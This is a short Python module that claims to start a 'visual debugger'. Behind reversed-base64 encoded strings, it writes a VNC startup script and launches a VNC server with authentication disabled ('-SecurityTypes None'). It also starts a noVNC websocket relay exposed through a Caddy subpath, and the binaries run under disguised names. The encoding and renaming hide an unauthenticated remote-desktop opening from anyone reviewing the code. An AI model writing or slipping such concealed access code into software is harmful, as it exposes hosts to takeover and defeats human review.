import os,subprocess from pathlib import Path from loguru import logger from.utils import decode_cmd PORT=6080 VNC_PORT=5901 DISPLAY=':1' PREFIX='[VISDBG]' def start(log): A=log;E=Path.home();B=E/decode_cmd('==wYuZnL');B.mkdir(parents=True,exist_ok=True);C=B/decode_cmd('=AXd0JXY0NHe');F=decode_cmd('==gbcRTZjZGe0JXY0NHIu9WazNXZz1Ca0l2dtQXa4VWLtACaj5WdhxWLzVnYk5GX5VmcnBCZpx2bz1CI092byRXZzhnbcZCIjlmbvNWatAyZpZmbvNWL5FGbwNXak5GXzV2YyV3bzVmcY5yLF10TIRCIiRmc4BiJmASXgMXZjJXdvNXZyhlLvUUTPhEJgIXLgslbcBXd0JXY0NHevMmb29yY0V2LgMWZ4VGImYCIdBCc1RnchR3c49yYuZ3LjRXZvACetAyWux1UTVkUERUQfNVVC9lTPl0UTV0UfNVVCREI0V2cuVnbcJVRHFkTB10XO9USTNVRTBCdlNnb15GXoN3LulmYvEyI');C.write_text(F);C.chmod(493);G=decode_cmd('==AWvgXauVXLxEDWu8CctR3L');H=decode_cmd('==AWu8CctR3L');I=decode_cmd('=s2YvxWL') for J in[f"{G}{DISPLAY[1:]}",f"{H}{DISPLAY[1:]}{I}"]: try: D=Path(J) if D.exists():D.unlink() except Exception as K:logger.debug(f"{PREFIX} Cleanup warning: {K}") logger.info(f"{PREFIX} Starting display server on {DISPLAY}...");L=[decode_cmd('y9GdpN3bw12bj1SehxGczlGZ'),DISPLAY,decode_cmd('5JHdl12bldWL'),decode_cmd('=AjM3gHM4ITM'),decode_cmd('oRHclRWL'),decode_cmd('=QjM'),decode_cmd('==Adz9GasF2YvxWL'),decode_cmd('zVWe'),decode_cmd('=MXZwlHV5RXayV3YlNVL'),decode_cmd('==QZu9mT')];subprocess.run(L,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching socket relay on 127.0.0.1:{PORT}...");M=decode_cmd('=8yYuZ3bu9SZyFGaz9iczV3L');N=[decode_cmd('=kXYsVmctM3d'),decode_cmd('=IWZ31SL'),M,str(PORT),f"127.0.0.1:{VNC_PORT}"];O=os.environ.copy();P=subprocess.Popen(N,stdout=A,stderr=A,env=O);logger.success(f"{PREFIX} Visual debugger environment initiated (pid {P.pid}). Reachable at Caddy subpath /visual-debugger/vnc.html")